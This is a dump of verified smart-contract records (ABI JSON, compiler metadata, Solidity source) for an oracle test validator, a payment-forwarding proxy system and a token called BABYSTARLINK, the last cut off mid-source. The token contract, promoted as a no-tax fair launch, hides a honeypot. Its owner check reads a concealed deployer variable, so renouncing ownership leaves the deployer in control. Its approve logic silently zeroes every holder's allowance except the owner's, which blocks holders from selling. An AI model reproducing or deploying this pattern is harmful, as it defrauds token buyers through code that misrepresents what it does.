AggregatorValidatorInterface","name":"_newValidator","type":"address"},{"internalType":"uint32","name":"_newGasLimit","type":"uint32"}],"name":"setValidatorConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_transmitter","type":"address"},{"internalType":"address","name":"_proposed","type":"address"}],"name":"transferPayeeship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"_report","type":"bytes"},{"internalType":"bytes32[]","name":"_rs","type":"bytes32[]"},{"internalType":"bytes32[]","name":"_ss","type":"bytes32[]"},{"internalType":"bytes32","name":"_rawVs","type":"bytes32"}],"name":"transmit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transmitters","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"typeAndVersion","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"validatorConfig","outputs":[{"internalType":"contract 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AccessControlledOffchainAggregator | contract/src/TestValidator.sol | 0xe0db9705faf02cdb35d9bc795deb7e3dca94bada | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./AggregatorValidatorInterface.sol";
contract TestValidator is AggregatorValidatorInterface {
uint32 s_minGasUse;
uint256 s_latestRoundId;
event Validated(
uint256 previousRoundId,
int256 previousAnswer,
uint256 currentRoundId,
int256 currentAnswer,
uint256 initialGas
);
function validate(
uint256 previousRoundId,
int256 previousAnswer,
uint256 currentRoundId,
int256 currentAnswer
) external override returns (bool) {
uint256 initialGas = gasleft();
emit Validated(
previousRoundId,
previousAnswer,
currentRoundId,
currentAnswer,
initialGas
);
s_latestRoundId = currentRoundId;
uint256 minGasUse = s_minGasUse;
while (initialGas - gasleft() < minGasUse) {}
return true;
}
function setMinGasUse(uint32 minGasUse) external {
s_minGasUse = minGasUse;
}
function latestRoundId() external view returns (uint256) {
return s_latestRoundId;
}
} | [{"inputs":[{"internalType":"uint32","name":"_maximumGasPrice","type":"uint32"},{"internalType":"uint32","name":"_reasonableGasPrice","type":"uint32"},{"internalType":"uint32","name":"_microLinkPerEth","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerObservation","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerTransmission","type":"uint32"},{"internalType":"contract LinkTokenInterface","name":"_link","type":"address"},{"internalType":"int192","name":"_minAnswer","type":"int192"},{"internalType":"int192","name":"_maxAnswer","type":"int192"},{"internalType":"contract AccessControllerInterface","name":"_billingAccessController","type":"address"},{"internalType":"contract AccessControllerInterface","name":"_requesterAccessController","type":"address"},{"internalType":"uint8","name":"_decimals","type":"uint8"},{"internalType":"string","name":"description","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"}],"name":"AddedAccess","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"int256","name":"current","type":"int256"},{"indexed":true,"internalType":"uint256","name":"roundId","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updatedAt","type":"uint256"}],"name":"AnswerUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"contract AccessControllerInterface","name":"old","type":"address"},{"indexed":false,"internalType":"contract AccessControllerInterface","name":"current","type":"address"}],"name":"BillingAccessControllerSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint32","name":"maximumGasPrice","type":"uint32"},{"indexed":false,"internalType":"uint32","name":"reasonableGasPrice","type":"uint32"},{"indexed":false,"internalType":"uint32","name":"microLinkPerEth","type":"uint32"},{"indexed":false,"internalType":"uint32","name":"linkGweiPerObservation","type":"uint32"},{"indexed":false,"internalType":"uint32","name":"linkGweiPerTransmission","type":"uint32"}],"name":"BillingSet","type":"event"},{"anonymous":false,"inputs":[],"name":"CheckAccessDisabled","type":"event"},{"anonymous":false,"inputs":[],"name":"CheckAccessEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint32","name":"previousConfigBlockNumber","type":"uint32"},{"indexed":false,"internalType":"uint64","name":"configCount","type":"uint64"},{"indexed":false,"internalType":"address[]","name":"signers","type":"address[]"},{"indexed":false,"internalType":"address[]","name":"transmitters","type":"address[]"},{"indexed":false,"internalType":"uint8","name":"threshold","type":"uint8"},{"indexed":false,"internalType":"uint64","name":"encodedConfigVersion","type":"uint64"},{"indexed":false,"internalType":"bytes","name":"encoded","type":"bytes"}],"name":"ConfigSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract LinkTokenInterface","name":"_oldLinkToken","type":"address"},{"indexed":true,"internalType":"contract LinkTokenInterface","name":"_newLinkToken","type":"address"}],"name":"LinkTokenSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"roundId","type":"uint256"},{"indexed":true,"internalType":"address","name":"startedBy","type":"address"},{"indexed":false,"internalType":"uint256","name":"startedAt","type":"uint256"}],"name":"NewRound","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint32","name":"aggregatorRoundId","type":"uint32"},{"indexed":false,"internalType":"int192","name":"answer","type":"int192"},{"indexed":false,"internalType":"address","name":"transmitter","type":"address"},{"indexed":false,"internalType":"int192[]","name":"observations","type":"int192[]"},{"indexed":false,"internalType":"bytes","name":"observers","type":"bytes"},{"indexed":false,"internalType":"bytes32","name":"rawReportContext","type":"bytes32"}],"name":"NewTransmission","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"transmitter","type":"address"},{"indexed":true,"internalType":"address","name":"payee","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":true,"internalType":"contract LinkTokenInterface","name":"linkToken","type":"address"}],"name":"OraclePaid","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"OwnershipTransferRequested","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"transmitter","type":"address"},{"indexed":true,"internalType":"address","name":"current","type":"address"},{"indexed":true,"internalType":"address","name":"proposed","type":"address"}],"name":"PayeeshipTransferRequested","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"transmitter","type":"address"},{"indexed":true,"internalType":"address","name":"previous","type":"address"},{"indexed":true,"internalType":"address","name":"current","type":"address"}],"name":"PayeeshipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"}],"name":"RemovedAccess","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"contract AccessControllerInterface","name":"old","type":"address"},{"indexed":false,"internalType":"contract AccessControllerInterface","name":"current","type":"address"}],"name":"RequesterAccessControllerSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"requester","type":"address"},{"indexed":false,"internalType":"bytes16","name":"configDigest","type":"bytes16"},{"indexed":false,"internalType":"uint32","name":"epoch","type":"uint32"},{"indexed":false,"internalType":"uint8","name":"round","type":"uint8"}],"name":"RoundRequested","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract AggregatorValidatorInterface","name":"previousValidator","type":"address"},{"indexed":false,"internalType":"uint32","name":"previousGasLimit","type":"uint32"},{"indexed":true,"internalType":"contract AggregatorValidatorInterface","name":"currentValidator","type":"address"},{"indexed":false,"internalType":"uint32","name":"currentGasLimit","type":"uint32"}],"name":"ValidatorConfigSet","type":"event"},{"inputs":[],"name":"acceptOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_transmitter","type":"address"}],"name":"acceptPayeeship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"addAccess","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"billingAccessController","outputs":[{"internalType":"contract AccessControllerInterface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"description","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableAccessCheck","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableAccessCheck","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_roundId","type":"uint256"}],"name":"getAnswer","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBilling","outputs":[{"internalType":"uint32","name":"maximumGasPrice","type":"uint32"},{"internalType":"uint32","name":"reasonableGasPrice","type":"uint32"},{"internalType":"uint32","name":"microLinkPerEth","type":"uint32"},{"internalType":"uint32","name":"linkGweiPerObservation","type":"uint32"},{"internalType":"uint32","name":"linkGweiPerTransmission","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLinkToken","outputs":[{"internalType":"contract LinkTokenInterface","name":"linkToken","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint80","name":"_roundId","type":"uint80"}],"name":"getRoundData","outputs":[{"internalType":"uint80","name":"roundId","type":"uint80"},{"internalType":"int256","name":"answer","type":"int256"},{"internalType":"uint256","name":"startedAt","type":"uint256"},{"internalType":"uint256","name":"updatedAt","type":"uint256"},{"internalType":"uint80","name":"answeredInRound","type":"uint80"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_roundId","type":"uint256"}],"name":"getTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bytes","name":"_calldata","type":"bytes"}],"name":"hasAccess","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestAnswer","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestConfigDetails","outputs":[{"internalType":"uint32","name":"configCount","type":"uint32"},{"internalType":"uint32","name":"blockNumber","type":"uint32"},{"internalType":"bytes16","name":"configDigest","type":"bytes16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestRound","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestRoundData","outputs":[{"internalType":"uint80","name":"roundId","type":"uint80"},{"internalType":"int256","name":"answer","type":"int256"},{"internalType":"uint256","name":"startedAt","type":"uint256"},{"internalType":"uint256","name":"updatedAt","type":"uint256"},{"internalType":"uint80","name":"answeredInRound","type":"uint80"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"latestTransmissionDetails","outputs":[{"internalType":"bytes16","name":"configDigest","type":"bytes16"},{"internalType":"uint32","name":"epoch","type":"uint32"},{"internalType":"uint8","name":"round","type":"uint8"},{"internalType":"int192","name":"latestAnswer","type":"int192"},{"internalType":"uint64","name":"latestTimestamp","type":"uint64"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"linkAvailableForPayment","outputs":[{"internalType":"int256","name":"availableBalance","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxAnswer","outputs":[{"internalType":"int192","name":"","type":"int192"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minAnswer","outputs":[{"internalType":"int192","name":"","type":"int192"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_signerOrTransmitter","type":"address"}],"name":"oracleObservationCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_transmitter","type":"address"}],"name":"owedPayment","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"removeAccess","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"requestNewRound","outputs":[{"internalType":"uint80","name":"","type":"uint80"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"requesterAccessController","outputs":[{"internalType":"contract AccessControllerInterface","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint32","name":"_maximumGasPrice","type":"uint32"},{"internalType":"uint32","name":"_reasonableGasPrice","type":"uint32"},{"internalType":"uint32","name":"_microLinkPerEth","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerObservation","type":"uint32"},{"internalType":"uint32","name":"_linkGweiPerTransmission","type":"uint32"}],"name":"setBilling","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract AccessControllerInterface","name":"_billingAccessController","type":"address"}],"name":"setBillingAccessController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_signers","type":"address[]"},{"internalType":"address[]","name":"_transmitters","type":"address[]"},{"internalType":"uint8","name":"_threshold","type":"uint8"},{"internalType":"uint64","name":"_encodedConfigVersion","type":"uint64"},{"internalType":"bytes","name":"_encoded","type":"bytes"}],"name":"setConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract LinkTokenInterface","name":"_linkToken","type":"address"},{"internalType":"address","name":"_recipient","type":"address"}],"name":"setLinkToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_transmitters","type":"address[]"},{"internalType":"address[]","name":"_payees","type":"address[]"}],"name":"setPayees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract AccessControllerInterface","name":"_requesterAccessController","type":"address"}],"name":"setRequesterAccessController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract AggregatorValidatorInterface","name":"_newValidator","type":"address"},{"internalType":"uint32","name":"_newGasLimit","type":"uint32"}],"name":"setValidatorConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_transmitter","type":"address"},{"internalType":"address","name":"_proposed","type":"address"}],"name":"transferPayeeship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"_report","type":"bytes"},{"internalType":"bytes32[]","name":"_rs","type":"bytes32[]"},{"internalType":"bytes32[]","name":"_ss","type":"bytes32[]"},{"internalType":"bytes32","name":"_rawVs","type":"bytes32"}],"name":"transmit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transmitters","outputs":[{"internalType":"address[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"typeAndVersion","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"validatorConfig","outputs":[{"internalType":"contract AggregatorValidatorInterface","name":"validator","type":"address"},{"internalType":"uint32","name":"gasLimit","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_transmitter","type":"address"}],"name":"withdrawPayment","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.7.6+commit.7338295f | true | 20,000 | 00000000000000000000000000000000000000000000000000000000000007d0000000000000000000000000000000000000000000000000000000000000006400000000000000000000000000000000000000000000000000000000076914580000000000000000000000000000000000000000000000000000000000b688840000000000000000000000000000000000000000000000000000000004473318000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca00000000000000000000000000000000000000000000000000000000000f424000000000000000000000000000000000000000000000000000000002540be4000000000000000000000000009db83cef9f68b63989e4e82d65d549e7ff2acda9000000000000000000000000641b698ad1c6e503470520b0eecb472c0589dfe6000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000000000000000000000000000000009424e54202f205553440000000000000000000000000000000000000000000000 | Default | MIT | false | |||
Proxy | contracts/PaymentMaster.sol | 0xa9222f41958c285ffd8de896894f3194541615a8 | Solidity | pragma solidity 0.5.16;
// import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
/**
* The PaymentMaster sits above the payment handler contracts.
* It deploys and keeps track of all the handlers.
* It can trigger events by child handlers when they receive ETH.
* It allows ERC20 tokens to be swept in bulk to the owner account.
*/
contract PaymentMaster {
using SafeERC20 for IERC20;
address public owner;
// payment handler logic contract address
address public handlerLogicAddress ;
// A list of handler addresses for retrieval
address[] public handlerList;
// A mapping of handler addresses for lookups
mapping(address => bool) public handlerMap;
// Events triggered for listeners
event HandlerCreated(address indexed _addr);
event EthPaymentReceived(address indexed _to, address indexed _from, uint256 _amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
bool initialized = false;
function initialize(address _owner, address _handlerLogicAddress) public {
require(initialized == false, "Already initialized");
initialized = true;
handlerLogicAddress = _handlerLogicAddress;
owner = _owner;
}
/**
* Anyone can call the function to deploy a new payment handler.
* The new contract will be created, added to the list, and an event fired.
*/
function deployNewHandler() public {
// Deploy the new Proxy contract with the handler logic address
Proxy createdProxy = new Proxy(handlerLogicAddress);
// instantiate a PaymentHandler contract at the created Proxy address
PaymentHandler proxyHandler = PaymentHandler(address(createdProxy));
// initialize the Proxy with this contract's address
proxyHandler.initialize(this);
// Add it to the list and the mapping
handlerList.push(address(createdProxy));
handlerMap[address(createdProxy)] = true;
// Emit event to let watchers know that a new handler was created
emit HandlerCreated(address(createdProxy));
}
/**
* Allows caller to determine how long the handler list is for convenience
*/
function getHandlerListLength() public view returns (uint) {
return handlerList.length;
}
/**
* This function is called by handlers when they receive ETH payments.
*/
function firePaymentReceivedEvent(address to, address from, uint256 amount) public {
// Verify the call is coming from a handler
require(handlerMap[msg.sender], "Only payment handlers are allowed to trigger payment events.");
// Emit the event
emit EthPaymentReceived(to, from, amount);
}
/**
* Allows a caller to sweep multiple handlers in one transaction
*/
function multiHandlerSweep(address[] memory handlers, IERC20 tokenContract) public {
for (uint i = 0; i < handlers.length; i++) {
// Whitelist calls to only handlers
require(handlerMap[handlers[i]], "Only payment handlers are valid sweep targets.");
// Trigger sweep
PaymentHandler(address(uint160(handlers[i]))).sweepTokens(tokenContract);
}
}
/**
* Safety function to allow sweep of ERC20s if accidentally sent to this contract
*/
function sweepTokens(IERC20 token) public {
// Get the current balance
uint balance = token.balanceOf(address(this));
// Transfer to the owner
token.safeTransfer(owner, balance);
}
function transferOwnership(address newOwner) public {
require(msg.sender == owner, "Not owner");
owner = newOwner;
emit OwnershipTransferred(msg.sender, newOwner);
}
} | [{"inputs":[{"internalType":"address","name":"contractLogic","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}] | v0.5.16+commit.9c3226ce | false | 200 | 000000000000000000000000f1494ae4f883b23053266dfd145b76a3ba1abd40 | Default | MIT | false | bzzr://d1a1151a178a8b7157566180d467f19d087376d919df4fd9e6ffece8d3432af1 |
||
Proxy | contracts/PaymentMasterFactory.sol | 0xa9222f41958c285ffd8de896894f3194541615a8 | Solidity | pragma solidity 0.5.16;
// import "./Proxy.sol";
/**
Deploys new instances of the Payment Master
*/
contract PaymentMasterFactory {
// payment master logic contract address
address public masterLogicAddress ;
address public handlerLogicAddress;
// Events triggered for listeners
event MasterCreated(address indexed _addr);
/** Deploy the payment handler logic contract */
constructor() public {
deployLogic();
}
/**
* Called by the constructor this function deploys impl contracts
*/
function deployLogic() internal {
// Deploy the new master contract
PaymentMaster createdMaster = new PaymentMaster();
masterLogicAddress = address(createdMaster);
// Deploy the new handler contract
PaymentHandler createdHandler = new PaymentHandler();
handlerLogicAddress = address(createdHandler);
// initialize the deployed contracts - not needed but just in case
createdHandler.initialize(createdMaster);
createdMaster.initialize(msg.sender, address(handlerLogicAddress));
}
/**
Called to create a new payment master and emit an event
*/
function deployNewMaster(address owner) public {
// Deploy the new Proxy contract with the handler logic address
Proxy createdProxy = new Proxy(masterLogicAddress);
// instantiate a PaymentMaster contract at the created Proxy address
PaymentMaster proxyMaster = PaymentMaster(address(createdProxy));
// Initialize with the owner address and logic impl address
proxyMaster.initialize(owner, address(handlerLogicAddress));
// Emit the event that a new master was deployed
emit MasterCreated(address(proxyMaster));
}
} | [{"inputs":[{"internalType":"address","name":"contractLogic","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}] | v0.5.16+commit.9c3226ce | false | 200 | 000000000000000000000000f1494ae4f883b23053266dfd145b76a3ba1abd40 | Default | MIT | false | bzzr://d1a1151a178a8b7157566180d467f19d087376d919df4fd9e6ffece8d3432af1 |
||
BABYSTARLINK | BABYSTARLINK.sol | 0x445065fe543fca30468ce6dc20e2920dd969d155 | Solidity | /*
$BSTAR will be having a Fair Launch on the ETHEREUM chain and will have a supply of 10,000,000 with No Tax!
www.bstarlink.com
_______ __ ______ __ __ __ __
/ \ / | / \ / | / | / | / |
$$$$$$$ | ______ $$ |____ __ __ /$$$$$$ |_$$ |_ ______ ______ $$ | $$/ _______ $$ | __
$$ |__$$ | / \ $$ \ / | / |$$ \__$$// $$ | / \ / \ $$ | / |/ \ $$ | / |
$$ $$< $$$$$$ |$$$$$$$ |$$ | $$ |$$ \$$$$$$/ $$$$$$ |/$$$$$$ |$$ | $$ |$$$$$$$ |$$ |_/$$/
$$$$$$$ | / $$ |$$ | $$ |$$ | $$ | $$$$$$ | $$ | __ / $$ |$$ | $$/ $$ | $$ |$$ | $$ |$$ $$<
$$ |__$$ |/$$$$$$$ |$$ |__$$ |$$ \__$$ |/ \__$$ | $$ |/ |/$$$$$$$ |$$ | $$ |_____ $$ |$$ | $$ |$$$$$$ \
$$ $$/ $$ $$ |$$ $$/ $$ $$ |$$ $$/ $$ $$/ $$ $$ |$$ | $$ |$$ |$$ | $$ |$$ | $$ |
$$$$$$$/ $$$$$$$/ $$$$$$$/ $$$$$$$ | $$$$$$/ $$$$/ $$$$$$$/ $$/ $$$$$$$$/ $$/ $$/ $$/ $$/ $$/
/ \__$$ |
$$ $$/
$$$$$$/
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract BABYSTARLINK is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 10 * 10**6 * 10**18;
string private _name = 'BABYSTARLINK ';
string private _symbol = '$BSTAR ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
